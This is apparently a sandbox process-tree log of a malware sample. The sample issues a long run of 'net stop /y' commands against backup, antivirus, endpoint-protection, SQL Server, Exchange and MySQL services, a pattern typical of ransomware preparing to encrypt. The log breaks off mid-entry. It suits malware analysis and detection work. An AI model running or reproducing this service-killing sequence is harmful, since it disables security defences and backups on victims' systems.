C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecJobEngine /y2⤵PID:1172
-
C:\Windows\SysWOW64\net.exenet stop BackupExecJobEngine /y3⤵PID:1748
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y4⤵PID:1928
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecManagementService /y2⤵PID:860
-
C:\Windows\SysWOW64\net.exenet stop BackupExecManagementService /y3⤵PID:1800
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y4⤵PID:1544
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecRPCService /y2⤵PID:1704
-
C:\Windows\SysWOW64\net.exenet stop BackupExecRPCService /y3⤵PID:1732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y4⤵PID:568
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecVSSProvider /y2⤵PID:1652
-
C:\Windows\SysWOW64\net.exenet stop BackupExecVSSProvider /y3⤵PID:1716
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y4⤵PID:1780
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop bedbg /y2⤵PID:1712
-
C:\Windows\SysWOW64\net.exenet stop bedbg /y3⤵PID:992
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop bedbg /y4⤵PID:1648
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop DCAgent /y2⤵PID:988
-
C:\Windows\SysWOW64\net.exenet stop DCAgent /y3⤵PID:1860
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DCAgent /y4⤵PID:1016
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop EPSecurityService /y2⤵PID:276
-
C:\Windows\SysWOW64\net.exenet stop EPSecurityService /y3⤵PID:984
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EPSecurityService /y4⤵PID:280
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop EPUpdateService /y2⤵PID:1684
-
C:\Windows\SysWOW64\net.exenet stop EPUpdateService /y3⤵PID:1032
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EPUpdateService /y4⤵PID:1876
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop EraserSvc11710 /y2⤵PID:1044
-
C:\Windows\SysWOW64\net.exenet stop EraserSvc11710 /y3⤵PID:1612
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EraserSvc11710 /y4⤵PID:1616
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop EsgShKernel /y2⤵PID:1848
-
C:\Windows\SysWOW64\net.exenet stop EsgShKernel /y3⤵PID:1284
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EsgShKernel /y4⤵PID:2036
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop FA_Scheduler /y2⤵PID:2016
-
C:\Windows\SysWOW64\net.exenet stop FA_Scheduler /y3⤵PID:1332
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FA_Scheduler /y4⤵PID:1124
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop IISAdmin /y2⤵PID:2024
-
C:\Windows\SysWOW64\net.exenet stop IISAdmin /y3⤵PID:1208
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISAdmin /y4⤵PID:1120
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop IMAP4Svc /y2⤵PID:2012
-
C:\Windows\SysWOW64\net.exenet stop IMAP4Svc /y3⤵PID:764
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IMAP4Svc /y4⤵PID:1376
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop McShield /y2⤵PID:1468
-
C:\Windows\SysWOW64\net.exenet stop McShield /y3⤵PID:524
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McShield /y4⤵PID:2028
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop McTaskManager /y2⤵PID:2020
-
C:\Windows\SysWOW64\net.exenet stop McTaskManager /y3⤵PID:368
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McTaskManager /y4⤵PID:1384
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop mfemms /y2⤵PID:1664
-
C:\Windows\SysWOW64\net.exenet stop mfemms /y3⤵PID:556
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfemms /y4⤵PID:544
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop mfevtp /y2⤵PID:616
-
C:\Windows\SysWOW64\net.exenet stop mfevtp /y3⤵PID:1748
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfevtp /y4⤵PID:1172
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MMS /y2⤵PID:1736
-
C:\Windows\SysWOW64\net.exenet stop MMS /y3⤵PID:1800
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MMS /y4⤵PID:860
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop mozyprobackup /y2⤵PID:1756
-
C:\Windows\SysWOW64\net.exenet stop mozyprobackup /y3⤵PID:1732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mozyprobackup /y4⤵PID:1704
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MsDtsServer /y2⤵PID:1708
-
C:\Windows\SysWOW64\net.exenet stop MsDtsServer /y3⤵PID:1716
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer /y4⤵PID:1652
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MsDtsServer100 /y2⤵PID:1676
-
C:\Windows\SysWOW64\net.exenet stop MsDtsServer100 /y3⤵PID:992
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer100 /y4⤵PID:1712
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MsDtsServer110 /y2⤵PID:1696
-
C:\Windows\SysWOW64\net.exenet stop MsDtsServer110 /y3⤵PID:1860
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer110 /y4⤵PID:988
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSExchangeES /y2⤵PID:1644
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeES /y3⤵PID:984
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeES /y4⤵PID:276
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSExchangeIS /y2⤵PID:852
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS /y3⤵PID:1032
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS /y4⤵PID:1684
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSExchangeMGMT /y2⤵PID:624
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMGMT /y3⤵PID:1612
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMGMT /y4⤵PID:1044
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSExchangeMTA /y2⤵PID:1576
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMTA /y3⤵PID:1284
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMTA /y4⤵PID:1848
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSExchangeSA /y2⤵PID:1620
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSA /y3⤵PID:1332
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSA /y4⤵PID:2016
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSExchangeSRS /y2⤵PID:1204
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSRS /y3⤵PID:1208
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSRS /y4⤵PID:2024
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSOLAP$SQL_2008 /y2⤵PID:2000
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP$SQL_2008 /y3⤵PID:764
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP$SQL_2008 /y4⤵PID:2012
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSOLAP$SYSTEM_BGC /y2⤵PID:2008
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP$SYSTEM_BGC /y3⤵PID:524
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP$SYSTEM_BGC /y4⤵PID:1468
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSOLAP$TPS /y2⤵PID:2044
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP$TPS /y3⤵PID:368
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP$TPS /y4⤵PID:2020
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSOLAP$TPSAMA /y2⤵PID:268
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP$TPSAMA /y3⤵PID:556
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP$TPSAMA /y4⤵PID:1664
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$BKUPEXEC /y2⤵PID:1984
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$BKUPEXEC /y3⤵PID:1748
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$BKUPEXEC /y4⤵PID:616
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$ECWDB2 /y2⤵PID:1888
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$ECWDB2 /y3⤵PID:1800
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$ECWDB2 /y4⤵PID:1736
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$PRACTICEMGT /y2⤵PID:1540
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$PRACTICEMGT /y3⤵PID:1732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$PRACTICEMGT /y4⤵PID:1756
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$PRACTTICEBGC /y2⤵PID:1952
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$PRACTTICEBGC /y3⤵PID:1716
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$PRACTTICEBGC /y4⤵PID:1708
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$PROFXENGAGEMENT /y2⤵PID:1660
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$PROFXENGAGEMENT /y3⤵PID:992
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$PROFXENGAGEMENT /y4⤵PID:1676
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$SBSMONITORING /y2⤵PID:1700
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SBSMONITORING /y3⤵PID:1860
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y4⤵PID:1696
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$SHAREPOINT /y2⤵PID:1768
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SHAREPOINT /y3⤵PID:984
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y4⤵PID:1644
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$SQL_2008 /y2⤵PID:676
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SQL_2008 /y3⤵PID:1032
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SQL_2008 /y4⤵PID:852
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$SYSTEM_BGC /y2⤵PID:1288
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SYSTEM_BGC /y3⤵PID:1612
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y4⤵PID:624
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$TPS /y2⤵PID:2032
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$TPS /y3⤵PID:1284
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$TPS /y4⤵PID:1576
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$TPSAMA /y2⤵PID:1052
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$TPSAMA /y3⤵PID:1332
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$TPSAMA /y4⤵PID:1620
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$VEEAMSQL2008R2 /y2⤵PID:1240
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$VEEAMSQL2008R2 /y3⤵PID:1208
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y4⤵PID:1204
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$VEEAMSQL2012 /y2⤵PID:1252
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$VEEAMSQL2012 /y3⤵PID:764
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y4⤵PID:2000
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher /y2⤵PID:516
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher /y3⤵PID:524
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher /y4⤵PID:2008
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$PROFXENGAGEMENT /y2⤵PID:1432
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$PROFXENGAGEMENT /y3⤵PID:368
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y4⤵PID:2044
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$SBSMONITORING /y2⤵PID:688
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$SBSMONITORING /y3⤵PID:556
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y4⤵PID:268
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$SHAREPOINT /y2⤵PID:1088
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$SHAREPOINT /y3⤵PID:1748
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SHAREPOINT /y4⤵PID:1984
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$SQL_2008 /y2⤵PID:1728
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$SQL_2008 /y3⤵PID:1800
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y4⤵PID:1888
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$SYSTEM_BGC /y2⤵PID:1916
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$SYSTEM_BGC /y3⤵PID:1732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SYSTEM_BGC /y4⤵PID:1540
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$TPS /y2⤵PID:1752
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$TPS /y3⤵PID:1716
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y4⤵PID:1952
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$TPSAMA /y2⤵PID:1588
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$TPSAMA /y3⤵PID:992
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$TPSAMA /y4⤵PID:1660
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLSERVER /y2⤵PID:1048
-
C:\Windows\SysWOW64\net.exenet stop MSSQLSERVER /y3⤵PID:1860
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER /y4⤵PID:1700
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLServerADHelper100 /y2⤵PID:548
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper100 /y3⤵PID:984
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper100 /y4⤵PID:1768
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLServerOLAPService /y2⤵PID:1528
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerOLAPService /y3⤵PID:1032
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerOLAPService /y4⤵PID:676
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MySQL57 /y2⤵PID:1812
-
C:\Windows\SysWOW64\net.exenet stop MySQL57 /y3⤵PID:1612
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL57 /y4⤵PID:1288
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ntrtscan /y2⤵PID:996
-
C:\Windows\SysWOW64\net.exenet stop ntrtscan /y3⤵PID:1284
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ntrtscan /y4⤵PID:2032
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop OracleClientCache80 /y2⤵PID:1040
-
C:\Windows\SysWOW64\net.exenet stop OracleClientCache80 /y3⤵PID:1332
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop OracleClientCache80 /y4⤵PID:1052
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop PDVFSService /y2⤵PID:1036
-
C:\Windows\SysWOW64\net.exenet stop PDVFSService /y3⤵PID:1208
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop PDVFSService /y4⤵PID:1240
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop POP3Svc /y2⤵PID:1436
-
C:\Windows\SysWOW64\net.exenet stop POP3Svc /y3⤵PID:764
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop POP3Svc /y4⤵PID:1252
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ReportServer /y2⤵PID:656
-
C:\Windows\SysWOW64\net.exenet stop ReportServer /y3⤵PID:524
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer /y4⤵PID:516
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ReportServer$SQL_2008 /y2⤵PID:1944
-
C:\Windows\SysWOW64\net.exenet stop ReportServer$SQL_2008 /y3⤵PID:368
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$SQL_2008 /y4⤵PID:1432
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ReportServer$SYSTEM_BGC /y2⤵PID:1976
-
C:\Windows\SysWOW64\net.exenet stop ReportServer$SYSTEM_BGC /y3⤵PID:556
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$SYSTEM_BGC /y4⤵PID:688
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ReportServer$TPS /y2⤵PID:1744
-
C:\Windows\SysWOW64\net.exenet stop ReportServer$TPS /y3⤵PID:1748
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$TPS /y4⤵PID:1088
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ReportServer$TPSAMA /y2⤵PID:1760
-
C:\Windows\SysWOW64\net.exenet stop ReportServer$TPSAMA /y3⤵PID:1800
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$TPSAMA /y4⤵PID:1728
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop RESvc /y2⤵PID:360
-
C:\Windows\SysWOW64\net.exenet stop RESvc /y3⤵PID:1732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RESvc /y4⤵PID:1916
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop sacsvr /y2⤵PID:1740
-
C:\Windows\SysWOW64\net.exenet stop sacsvr /y3⤵PID:1716
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sacsvr /y4⤵PID:1752
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SamSs /y2⤵PID:1720
-
C:\Windows\SysWOW64\net.exenet stop SamSs /y3⤵PID:992
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SamSs /y4⤵PID:1588
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SAVAdminService /y2⤵PID:788
-
C:\Windows\SysWOW64\net.exenet stop SAVAdminService /y3⤵PID:1860
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SAVAdminService /y4⤵PID:1048
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SAVService /y2⤵PID:1764
-
C:\Windows\SysWOW64\net.exenet stop SAVService /y3⤵PID:984
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SAVService /y4⤵PID:548
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SDRSVC /y2⤵PID:1668
-
C:\Windows\SysWOW64\net.exenet stop SDRSVC /y3⤵PID:1032
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SDRSVC /y4⤵PID:1528
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SepMasterService /y2⤵PID:1852
-
C:\Windows\SysWOW64\net.exenet stop SepMasterService /y3⤵PID:1612
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SepMasterService /y4⤵PID:1812
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ShMonitor /y2⤵PID:1724
-
C:\Windows\SysWOW64\net.exenet stop ShMonitor /y3⤵PID:1284
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ShMonitor /y4⤵PID:996
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop Smcinst /y2⤵PID:2004
-
C:\Windows\SysWOW64\net.exenet stop Smcinst /y3⤵PID:1332
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Smcinst /y4⤵PID:1040
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SmcService /y2⤵PID:1936
-
C:\Windows\SysWOW64\net.exenet stop SmcService /y3⤵PID:1208
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SmcService /y4⤵PID:1036
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SMTPSvc /y2⤵PID:1316
-
C:\Windows\SysWOW64\net.exenet stop SMTPSvc /y3⤵PID:764
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SMTPSvc /y4⤵PID:1436
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$BKUPEXEC /y2⤵PID:1992
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$BKUPEXEC /y3⤵PID:524
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$BKUPEXEC /y4⤵PID:656
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$ECWDB2 /y2⤵PID:1320
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$ECWDB2 /y3⤵PID:368
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$ECWDB2 /y4⤵PID:1944
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$PRACTTICEBGC /y2⤵PID:472
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$PRACTTICEBGC /y3⤵PID:556
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$PRACTTICEBGC /y4⤵PID:1976
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$PRACTTICEMGT /y2⤵PID:1628
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$PRACTTICEMGT /y3⤵PID:1748
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$PRACTTICEMGT /y4⤵PID:1744
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$PROFXENGAGEMENT /y2⤵PID:1152
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$PROFXENGAGEMENT /y3⤵PID:1728
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$PROFXENGAGEMENT /y4⤵PID:1800
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$SBSMONITORING /y2⤵PID:800
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$SBSMONITORING /y3⤵PID:1732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y4⤵PID:360
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$SHAREPOINT /y2⤵PID:1532
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$SHAREPOINT /y3⤵PID:1716
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y4⤵PID:1740
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$SQL_2008 /y2⤵PID:1660
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$SQL_2008 /y3⤵PID:748
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SQL_2008 /y4⤵PID:1640
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$SYSTEM_BGC /y2⤵PID:988
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$SYSTEM_BGC /y3⤵PID:1308
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SYSTEM_BGC /y4⤵PID:1824
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$TPS /y2⤵PID:276
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$TPS /y3⤵PID:796
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$TPS /y4⤵PID:932
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$TPSAMA /y2⤵PID:1684
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$TPSAMA /y3⤵PID:1656
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$TPSAMA /y4⤵PID:1624
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$VEEAMSQL2008R2 /y2⤵PID:1044
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$VEEAMSQL2008R2 /y3⤵PID:1784
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y4⤵PID:1604
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$VEEAMSQL2012 /y2⤵PID:1848
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$VEEAMSQL2012 /y3⤵PID:1868
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y4⤵PID:1040
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLBrowser /y2⤵PID:1332
-
C:\Windows\SysWOW64\net.exenet stop SQLBrowser /y3⤵PID:1240
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser /y4⤵PID:1036
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLSafeOLRService /y2⤵PID:1208
-
C:\Windows\SysWOW64\net.exenet stop SQLSafeOLRService /y3⤵PID:1360
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSafeOLRService /y4⤵PID:1316
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLSERVERAGENT /y2⤵PID:828
-
C:\Windows\SysWOW64\net.exenet stop SQLSERVERAGENT /y3⤵PID:524
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSERVERAGENT /y4⤵PID:1992
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLTELEMETRY /y2⤵PID:1996
-
C:\Windows\SysWOW64\net.exenet stop SQLTELEMETRY /y3⤵PID:368
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLTELEMETRY /y4⤵PID:1320
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLTELEMETRY$ECWDB2 /y2⤵PID:1408
-
C:\Windows\SysWOW64\net.exenet stop SQLTELEMETRY$ECWDB2 /y3⤵PID:556
-
